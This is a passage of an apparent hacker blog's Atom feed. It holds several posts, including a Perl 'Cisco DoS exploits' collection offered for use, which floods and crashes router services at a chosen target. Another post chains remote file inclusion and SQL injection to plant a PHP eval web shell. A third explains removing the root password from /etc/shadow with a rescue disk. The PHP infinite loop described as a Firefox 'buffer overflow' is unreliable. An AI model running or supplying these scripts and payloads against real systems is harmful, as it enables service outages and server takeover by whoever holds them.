src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-6031554161426556893</id><published>2010-02-22T06:44:00.001-08:00</published><updated>2010-02-22T06:44:56.093-08:00</updated><title type='text'>buffer overflow in mozilla 3.5.8</title><content type='html'>first im just try to studied my friends about php, n suddenly my program make a browser hang or not responding...n i think this buffer overflow on mozilla 3.5.8&lt;br /&gt;&lt;br /&gt;now, i will give a little script&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;################&lt;br /&gt;# DEVILZC0DE #&lt;br /&gt;################&lt;br /&gt;&lt;br /&gt;#author : kiddies A.K.A peneter&lt;br /&gt;#email : crasher_1412@yahoo.com&lt;br /&gt;#thanks :mywisdom,gunslinger_,flyff666,petimati,whitehat,weinkaru,and all&lt;br /&gt;#thank : my girl(vhee was beside me, if im so confuse)&lt;br /&gt;&lt;br /&gt;save this, run it in your localhost:&lt;br /&gt;&lt;br /&gt;&lt;?&lt;br /&gt;$buffer=1;&lt;br /&gt;&lt;br /&gt;while ($buffer &gt; 0) {&lt;br /&gt;echo $buffer;&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-6031554161426556893?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/6031554161426556893/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/02/buffer-overflow-in-mozilla-358.html#comment-form' title='3 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6031554161426556893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/6031554161426556893'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/02/buffer-overflow-in-mozilla-358.html' title='buffer overflow in mozilla 3.5.8'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-5464525730828461305</id><published>2010-01-31T22:29:00.000-08:00</published><updated>2010-01-31T22:37:01.567-08:00</updated><title type='text'>RFI over SQL Injection/Cross-Site Scripting</title><content type='html'>An amusing attack was demonstrated in the course of the last penetration testing. It is a good example of practical application of Cross-Site Scripting. We had the following situation:&lt;br /&gt;&lt;br /&gt;- User segment with an attacker (me) operating from it;&lt;br /&gt;- Technological network with strictly restricted outgoing traffic;&lt;br /&gt;- A web application in the technological network that is vulnerable to Remote File Including (RFI);&lt;br /&gt;- A web application in the technological network that is vulnerable to SQL Injection.&lt;br /&gt;&lt;br /&gt;SQL Injection per se didn’t allow us to exploit any useful threats and develop the attack (here it is, the dreadful effect of privilege minimization!). We also could not use the RFI vulnerability, because the traffic outgoing from the technological segment to the user segment and to the external environment was strictly restricted. For the purpose of exploitation of the RFI vulnerability, a chain like the following one was implemented:&lt;br /&gt;&lt;br /&gt;http://&lt;application_vulnerable_to_RFI&gt;/?param=http://&lt;application_vulnerable_to_SQLi&gt;/?param=1+union+select+'&lt;?eval($_request[cmd]);?&gt;'&amp;cmd=passthru('ls');&lt;br /&gt;&lt;br /&gt;That is, each of these tree vulnerabilities taken separately was useless. Only when they were combined for the common good purpose, they allowed us to exploit an information security threat, which was execution of arbitrary commands on the server :)&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_eY5lQb30XpY/S0xhzZsYs8I/AAAAAAAAAqA/k09lD9Hua30/s320/rfi_over_xss.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 146px;" src="http://4.bp.blogspot.com/_eY5lQb30XpY/S0xhzZsYs8I/AAAAAAAAAqA/k09lD9Hua30/s320/rfi_over_xss.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;All in all, there is nothing supernatural here, but I found this attack to be rather amusing... &lt;br /&gt;&lt;br /&gt;reference:http://ptresearch.blogspot.com/2010/01/rfi-over-sql-injectioncross-site.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-5464525730828461305?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/5464525730828461305/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/rfi-over-sql-injectioncross-site.html#comment-form' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5464525730828461305'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/5464525730828461305'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/rfi-over-sql-injectioncross-site.html' title='RFI over SQL Injection/Cross-Site Scripting'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eY5lQb30XpY/S0xhzZsYs8I/AAAAAAAAAqA/k09lD9Hua30/s72-c/rfi_over_xss.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-4405621643812115317</id><published>2010-01-28T18:38:00.000-08:00</published><updated>2010-01-28T18:40:48.028-08:00</updated><title type='text'>ciscodosexploits.pl</title><content type='html'>&lt;blockquote&gt;#!/usr/bin/perl -w&lt;br /&gt;&lt;br /&gt;#############################&lt;br /&gt;#Cisco Router DOS collection#&lt;br /&gt;# Devilzc0de Framework v.01 #&lt;br /&gt;#############################&lt;br /&gt;&lt;br /&gt;#thanks:mywisdom,gunslinger,flyff666,petimati n you!!&lt;br /&gt;#programmer : kiddies A.K.A peneter&lt;br /&gt;#Email : crasher_1412@yahoo.com or peneter@yahoo.com&lt;br /&gt;#community thanks : Devilzc0de,jasakom,whitecyber,antijasakom and all i ve joined&lt;br /&gt;&lt;br /&gt;use Socket;&lt;br /&gt;use IO::Socket;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$host = "";&lt;br /&gt;$pilih = "";&lt;br /&gt;$host = @ARGV[ 0 ];&lt;br /&gt;$pilih = @ARGV[ 1 ];&lt;br /&gt;&lt;br /&gt;if ($host eq "") {&lt;br /&gt;usage();&lt;br /&gt;}&lt;br /&gt;if ($pilih eq "") {&lt;br /&gt;usage();&lt;br /&gt;}&lt;br /&gt;if ($pilih eq "1") {&lt;br /&gt;cisco1();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "2") {&lt;br /&gt;cisco2();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "3") {&lt;br /&gt;cisco3();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "4") {&lt;br /&gt;cisco4();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "5") {&lt;br /&gt;cisco5();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "6") {&lt;br /&gt;cisco6();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "7") {&lt;br /&gt;cisco7();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "8") {&lt;br /&gt;cisco8();&lt;br /&gt;}&lt;br /&gt;elsif ($pilih eq "9") {&lt;br /&gt;cisco9();&lt;br /&gt;} else {&lt;br /&gt;printf "\ninvalid number....\n\n";&lt;br /&gt;exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub usage&lt;br /&gt;{&lt;br /&gt;  print "\n       Cisco Dos Exploits    \n";&lt;br /&gt;  print "\n  Devilzc0de Framework Dos v.0.1\n";&lt;br /&gt;  print "\nProgrammer :: kiddies A.K.A peneter\n";&lt;br /&gt;  printf"\n";&lt;br /&gt;  printf "\nUsage :: Cisco.pl &lt;your fucking target&gt; &lt;exploit module&gt;\n";&lt;br /&gt;  printf "\nExploits Module :\n";&lt;br /&gt;  printf "[1] - Cisco IOS Router Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[2] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[3] - Cisco 675 Web Administration Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[4] - Cisco IOS Software HTTP Request Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[5] - Cisco 514 UDP Flood Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[6] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability\n";&lt;br /&gt;  printf "[7] - Cisco IOS HTTP Denial of Service Vulnerability\n";&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;sub cisco1 # Cisco IOS Router Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $serv = $host;&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     Proto=&gt;"tcp",&lt;br /&gt;                                     PeerAddr=&gt;$serv,&lt;br /&gt;                                     PeerPort=&gt;"http(80)",);&lt;br /&gt;                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};&lt;br /&gt;  $sockd-&gt;autoflush(1);&lt;br /&gt;  print $sockd "GET /\%\% HTTP/1.0\n\n";&lt;br /&gt;  -close $sockd;&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  sleep(1);&lt;br /&gt;  print("Now checking server's status ...\n");&lt;br /&gt;  sleep(2);&lt;br /&gt;&lt;br /&gt;  my $sockd2 = IO::Socket::INET-&gt;new (&lt;br /&gt;                                      Proto=&gt;"tcp",&lt;br /&gt;                                      PeerAddr=&gt;$serv,&lt;br /&gt;                                      PeerPort=&gt;"http(80)",);&lt;br /&gt;                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};&lt;br /&gt;&lt;br /&gt;  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");&lt;br /&gt;  close($sockd2);&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;sub cisco2 # Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $serv = $host;&lt;br /&gt;  my $port = 22;&lt;br /&gt;  my $vuln = "a%a%a%a%a%a%a%";&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     PeerAddr =&gt; $serv,&lt;br /&gt;                                     PeerPort =&gt; $port,&lt;br /&gt;                                     Proto =&gt; "tcp")&lt;br /&gt;                                     || die "No ssh server detected on $serv ...\n\n";&lt;br /&gt;&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  print $sockd "$vuln";&lt;br /&gt;  close($sockd);&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub cisco3 # Cisco 675 Web Administration Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $serv = $host;&lt;br /&gt;  my $port = 80;&lt;br /&gt;  my $vuln = "GET ? HTTP/1.0\n\n";&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     PeerAddr =&gt; $serv,&lt;br /&gt;                                     PeerPort =&gt; $port,&lt;br /&gt;                                     Proto =&gt; "tcp")&lt;br /&gt;                                     || die "No http server detected on $serv ...\n\n";&lt;br /&gt;&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  print $sockd "$vuln";&lt;br /&gt;  sleep(2);&lt;br /&gt;  print "\nServer response :\n\n";&lt;br /&gt;  close($sockd);&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;sub cisco4 # Cisco IOS Software HTTP Request Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $serv = $host;&lt;br /&gt;  my $port = 80;&lt;br /&gt;  my $vuln = "GET /error?/ HTTP/1.0\n\n";&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     PeerAddr =&gt; $serv,&lt;br /&gt;                                     PeerPort =&gt; $port,&lt;br /&gt;                                     Proto =&gt; "tcp")&lt;br /&gt;                                     || die "No http server detected on $serv ...\n\n";&lt;br /&gt;&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  print $sockd "$vuln";&lt;br /&gt;  sleep(2);&lt;br /&gt;  print "\nServer response :\n\n";&lt;br /&gt;  while (&lt;$sockd&gt;){print}&lt;br /&gt;  close($sockd);&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub cisco5 # Cisco 514 UDP Flood Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $ip = $host;&lt;br /&gt;  my $port = "514";&lt;br /&gt;  my $ports = "";&lt;br /&gt;  my $size = "";&lt;br /&gt;  my $i = "";&lt;br /&gt;  my $string = "%%%%%XX%%%%%";&lt;br /&gt;&lt;br /&gt;  print "Input packets size : ";&lt;br /&gt;  $size = &lt;STDIN&gt;;&lt;br /&gt;  chomp($size);&lt;br /&gt;&lt;br /&gt;  socket(SS, PF_INET, SOCK_DGRAM, 17);&lt;br /&gt;  my $iaddr = inet_aton("$ip");&lt;br /&gt;&lt;br /&gt;  for ($i=0; $i&lt;10000; $i++)&lt;br /&gt;  { send(SS, $string, $size, sockaddr_in($port, $iaddr)); }&lt;br /&gt;&lt;br /&gt;  printf "\nPackets sent ...\n";&lt;br /&gt;  sleep(2);&lt;br /&gt;  printf "Please enter a server's open port : ";&lt;br /&gt;  $ports = &lt;STDIN&gt;;&lt;br /&gt;  chomp $ports;&lt;br /&gt;  printf "\nNow checking server status ...\n";&lt;br /&gt;  sleep(2);&lt;br /&gt;&lt;br /&gt;  socket(SO, PF_INET, SOCK_STREAM, getprotobyname('tcp')) || die "An error occuring while loading socket ...\n\n";&lt;br /&gt;  my $dest = sockaddr_in ($ports, inet_aton($ip));&lt;br /&gt;  connect (SO, $dest) || die "Vulnerability successful exploited. Target server is down ...\n\n";&lt;br /&gt;&lt;br /&gt;  printf "Vulnerability unsuccessful exploited. Target server is still up ...\n\n";&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;sub cisco6 # CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $ip = $host;&lt;br /&gt;  my $vln = "%%%%%XX%%%%%";&lt;br /&gt;  my $num = 30000;&lt;br /&gt;  my $string .= $vln x $num;&lt;br /&gt;  my $shc="\015\012";&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     Proto =&gt; "tcp",&lt;br /&gt;                                     PeerAddr =&gt; $ip,&lt;br /&gt;                                     PeerPort =&gt; "(2002)",&lt;br /&gt;                                    ) || die "Unable to connect to $ip:2002 ...\n\n";&lt;br /&gt;&lt;br /&gt;  $sockd-&gt;autoflush(1);&lt;br /&gt;  print $sockd "$string" . $shc;&lt;br /&gt;  while (&lt;$sockd&gt;){ print }&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  close($sockd);&lt;br /&gt;  sleep(1);&lt;br /&gt;  print("Now checking server's status ...\n");&lt;br /&gt;  sleep(2);&lt;br /&gt;&lt;br /&gt;  my $sockd2 = IO::Socket::INET-&gt;new (&lt;br /&gt;                                      Proto=&gt;"tcp",&lt;br /&gt;                                      PeerAddr=&gt;$ip,&lt;br /&gt;                                      PeerPort=&gt;"(2002)",);&lt;br /&gt;                                      unless ($sockd){die "Vulnerability successful exploited. Target server is down ...\n\n"};&lt;br /&gt;&lt;br /&gt;  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;br /&gt;sub cisco7 # Cisco IOS HTTP server DoS Vulnerability&lt;br /&gt;{&lt;br /&gt;  my $serv = $host;&lt;br /&gt;  my $vuln = "GET /TEST?/ HTTP/1.0";&lt;br /&gt;&lt;br /&gt;  my $sockd = IO::Socket::INET-&gt;new (&lt;br /&gt;                                     Proto=&gt;"tcp",&lt;br /&gt;                                     PeerAddr=&gt;$serv,&lt;br /&gt;                                     PeerPort=&gt;"http(80)",);&lt;br /&gt;                                     unless ($sockd){die "No http server detected on $serv ...\n\n"};&lt;br /&gt;&lt;br /&gt;  print $sockd "$vuln\n\n";&lt;br /&gt;  print "Packet sent ...\n";&lt;br /&gt;  close($sockd);&lt;br /&gt;  sleep(1);&lt;br /&gt;  print("Now checking server's status ...\n");&lt;br /&gt;  sleep(2);&lt;br /&gt;&lt;br /&gt;  my $sockd2 = IO::Socket::INET-&gt;new (&lt;br /&gt;                                      Proto=&gt;"tcp",&lt;br /&gt;                                      PeerAddr=&gt;$serv,&lt;br /&gt;                                      PeerPort=&gt;"http(80)",);&lt;br /&gt;                                      unless ($sockd2){die "Vulnerability successful exploited. Target server is down ...\n\n"};&lt;br /&gt;&lt;br /&gt;  print("Vulnerability unsuccessful exploited. Target server is still up ...\n\n");&lt;br /&gt;  close($sockd2);&lt;br /&gt;  exit(1);&lt;br /&gt;}&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;try this ok....if error contact me&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-4405621643812115317?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/4405621643812115317/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/ciscodosexploitspl.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4405621643812115317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/4405621643812115317'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/ciscodosexploitspl.html' title='ciscodosexploits.pl'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3424220479975348817</id><published>2010-01-28T18:37:00.000-08:00</published><updated>2010-01-28T18:38:43.359-08:00</updated><title type='text'>How To Install CPANEL on your VPS</title><content type='html'>Lets start giving some use to all our VPS servers, lets install a trial or a final license of Cpanel.&lt;br /&gt;&lt;br /&gt;If you want a cpanel license you can get 1 for $ 12 / month or 70/month for a 10 pack. You should contact Aaron Conklin at custom.orders@ev1servers.net&lt;br /&gt;&lt;br /&gt;In case you want a trial licence for cpanel you should go to : http://www.cpanel.net/store/&lt;br /&gt;&lt;br /&gt;Ok. Few Steps to setup your VPS-CPANEL:&lt;br /&gt;&lt;br /&gt;1 - Login to your VZMC and get inside your server&lt;br /&gt;2 - Create a new VPS with the Sample Ve Config call vps.cpanel&lt;br /&gt;3 - Select the ips you want to use in that VPS and the dns servers.&lt;br /&gt;4 - Select RedHat Enterprise Template (not minimal)&lt;br /&gt;5 - Dont select any addon.You dont need it for cpanel.&lt;br /&gt;6 - Select the Space / Memory / CPU . All the normal stuff of your normal VPS. Put Start on boot and the rest of the normal stuff. Rememeber to use unlimited VPs.&lt;br /&gt;7 - Go to your Ev1 Member section, open a ticket with your IP / and root password and request ev1 to get your VPS register in up2date. CHECK IT IF IT IS WELL CONFIGURE!! JUST IN CASE.&lt;br /&gt;8 - Go in ssh and do the following steps:&lt;br /&gt;mkdir /home/cpins&lt;br /&gt;cd /home/cpins&lt;br /&gt;wget http://layer1.cpanel.net/latest&lt;br /&gt;sh latest&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Article provided by WebHostGear.com&lt;br /&gt;&lt;br /&gt;This should install cpanel without asking you any questions.&lt;br /&gt;&lt;br /&gt;If you have any problems you should check: http://www.cpanel.net/install.html&lt;br /&gt;&lt;br /&gt;9 - Login to : https://xxx.xxx.xxx.xxx:2087 and setup your server.&lt;br /&gt;If you never setup a cpanel server, you can find some usefull information here: http://www.cpanel.net/docs.htm or search ev1 forum or ask me. I will be happy to help.&lt;br /&gt;&lt;br /&gt;Well. Hopefully for some of you was usefull and will give you something else to try/offer in your VPS server.&lt;br /&gt;&lt;br /&gt;Btw, it needs atleast 128 MB for cpanel to work.&lt;br /&gt;&lt;br /&gt;If you have any problems with the guide let me know.&lt;br /&gt;&lt;br /&gt;carlos&lt;br /&gt;&lt;br /&gt;ps: i talk to some sw-soft people and they recomend to enable second-level quota (QUOTAUGIDLIMIT), i didnt try it myself. But i will let everyone when i try it.&lt;br /&gt;&lt;br /&gt;Thanks to theuruguayan on the devilzc0de forums&lt;br /&gt;&lt;br /&gt;reference:http://www.webhostgear.com/208.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3424220479975348817?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3424220479975348817/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/how-to-install-cpanel-on-your-vps.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3424220479975348817'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3424220479975348817'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2010/01/how-to-install-cpanel-on-your-vps.html' title='How To Install CPANEL on your VPS'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3629703914772388871</id><published>2009-12-15T05:22:00.000-08:00</published><updated>2009-12-15T05:23:13.429-08:00</updated><title type='text'>Buffer overrun in repr() for UCS-4 encoded unicode strings</title><content type='html'>Python Security Advisory&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Advisory ID:  PSF-2006-001&lt;br /&gt;Issue Date:   October 12, 2006&lt;br /&gt;Product:      Python&lt;br /&gt;Versions:     2.2, 2.3 prior to 2.3.6, 2.4 prior to 2.4.4, wide unicode (UCS-4) builds only&lt;br /&gt;CVE Names:    CAN-2006-4980&lt;br /&gt;&lt;br /&gt;Python is an interpreted, interactive, object-oriented programming language. It is often compared to Tcl, Perl, Scheme or Java.&lt;br /&gt;&lt;br /&gt;The Python development team has discovered a flaw in the repr() implementation of Unicode string objects which can lead to execution of arbitrary code due to an overflow in a buffer allocated with insufficient size.&lt;br /&gt;&lt;br /&gt;The flaw only manifests itself in Python builds configured to support UCS-4 Unicode strings (using the --enable-unicode=ucs4 configure flag). This is still not the default, which is why the vulnerability should not be present in most Python builds out there, especially not the builds for the Windows or Mac OS X platform provided by www.python.org.&lt;br /&gt;&lt;br /&gt;You can find out whether you are running a UCS-4 enabled build by looking at the sys.maxunicode attribute: it is 65535 in a UCS-2 build and 1114111 in a UCS-4 build.&lt;br /&gt;&lt;br /&gt;More information can be found in this posting to the python-dev mailing list: http://mail.python.org/pipermail/python-dev/2006-October/069260.html&lt;br /&gt;&lt;br /&gt;The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2006-4980 to this issue.&lt;br /&gt;&lt;br /&gt;Python 2.4.4 and Python 2.3.6 are available from www.python.org and contain a fix for this issue. Python 2.5 also contains the fix and is not vulnerable.&lt;br /&gt;&lt;br /&gt;Patches for Python 2.2, 2.3 and 2.4 are also immediately available:&lt;br /&gt;&lt;br /&gt;    * http://python.org/files/news/security/PSF-2006-001/patch-2.3.txt (Python 2.2, 2.3)&lt;br /&gt;    * http://python.org/files/news/security/PSF-2006-001/patch-2.4.txt (Python 2.4) &lt;br /&gt;&lt;br /&gt;Acknowledgement: thanks to Benjamin C. Wiley Sittler for discovering this issue.&lt;br /&gt;&lt;br /&gt;reference:python.org&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3629703914772388871?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3629703914772388871/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/12/buffer-overrun-in-repr-for-ucs-4.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3629703914772388871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3629703914772388871'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/12/buffer-overrun-in-repr-for-ucs-4.html' title='Buffer overrun in repr() for UCS-4 encoded unicode strings'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3024988281538372775</id><published>2009-12-03T10:12:00.000-08:00</published><updated>2009-12-03T10:13:09.245-08:00</updated><title type='text'>Rooting Linux with a floppy</title><content type='html'>You have lost your root password on your linux box and now you consider formatting&lt;br /&gt;everythign to regain control? Your admin is a moron that leaves the server available&lt;br /&gt;physically for everybody? You wanna test your Linux box? Don’t worry if you have at least&lt;br /&gt;a floppy rescue disk under hand,you can root it ;-) )&lt;br /&gt;&lt;br /&gt;The problem with the new version of Linux since 6.2 is :&lt;br /&gt;&lt;br /&gt;a)the shadow suit that is installed by default (masking the password in the shadow file)&lt;br /&gt;&lt;br /&gt;b)the md5 encryption ( 34 characters vs 13 for standard DES) so it’s not as easy as it was&lt;br /&gt;in teh previous versions i.e. to simply get the /etc/passwd file and running JtR against it&lt;br /&gt;doesn’t work anymore.&lt;br /&gt;&lt;br /&gt;What to do now? Follow the guide :&lt;br /&gt;&lt;br /&gt;1- Boot with a rescue disk&lt;br /&gt;&lt;br /&gt;2- type the appropriate key to get into rescue mode (ex.F4)&lt;br /&gt;&lt;br /&gt;3- linux rescue (to get into this mode)&lt;br /&gt;&lt;br /&gt;4- $ mknod /dev/hda (to create a virtual HD)&lt;br /&gt;&lt;br /&gt;* * * N o t e * * *&lt;br /&gt;&lt;br /&gt;If you have more than one partition on your HD, check which one is the Linux partition:&lt;br /&gt;&lt;br /&gt;A- $ fdisk /dev/hda&lt;br /&gt;&lt;br /&gt;B-( fdisk) : p (to show the current partitions) : m (for commands)&lt;br /&gt;&lt;br /&gt;5- $ mknod /dev/hda2 ( create the partition2 device if you have a DOS partition as primary&lt;br /&gt;partition for example)&lt;br /&gt;&lt;br /&gt;6- $ mkdir /data (to create a virtual directory in the RAM drive)&lt;br /&gt;&lt;br /&gt;7- $ mount -t ext2 /dev/hda2 /data ( to mount the files in the virtual dir located in the&lt;br /&gt;RAM drive)&lt;br /&gt;&lt;br /&gt;8-$ cd /data/etc&lt;br /&gt;&lt;br /&gt;9- $ chmod 700 /data/etc/shadow&lt;br /&gt;or $ chmod u+w /data/etc/shadow ( to gain write access on the shadow file)&lt;br /&gt;&lt;br /&gt;10-$ /data/bin/vi /data/etc/shadow (to edit the shadow file with VI editor)&lt;br /&gt;&lt;br /&gt;11- type i to insert then remove the root password by positionning the cursor on the&lt;br /&gt;characters and type the x key&lt;br /&gt;&lt;br /&gt;12- type escape key then ” : ”&lt;br /&gt;&lt;br /&gt;13- save the file with : wq!&lt;br /&gt;&lt;br /&gt;At this point, everything you have done is in RAM and nothing is done on the HD so DON’T&lt;br /&gt;REBOOT YET!!&lt;br /&gt;&lt;br /&gt;14- $ cd / (to return back to /)&lt;br /&gt;&lt;br /&gt;15- $ umount /data&lt;br /&gt;&lt;br /&gt;16- $ init 0 (rebooting the 